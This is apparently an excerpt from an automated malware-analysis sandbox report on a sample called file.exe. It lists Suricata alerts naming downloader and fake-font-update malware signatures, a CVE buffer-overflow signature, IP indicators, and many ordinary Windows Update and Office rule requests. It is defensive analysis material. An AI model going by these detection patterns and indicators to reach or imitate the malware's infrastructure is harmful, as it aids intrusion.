Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49964 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50010 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:50046 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50059 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50061 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50062 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50067 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50072 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50069 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50065 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:50074 -> 104.21.5.155:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.12.23.50:443 -> 192.168.2.4:49736

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 20.12.23.50
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00C1E0C0 recv,recv,recv,recv,

0_2_00C1E0C0

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wgGm44hxrpaYkVX&MD=H1AFC5AF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=wgGm44hxrpaYkVX&MD=H1AFC5AF HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120659v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120660v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120661v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120662v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
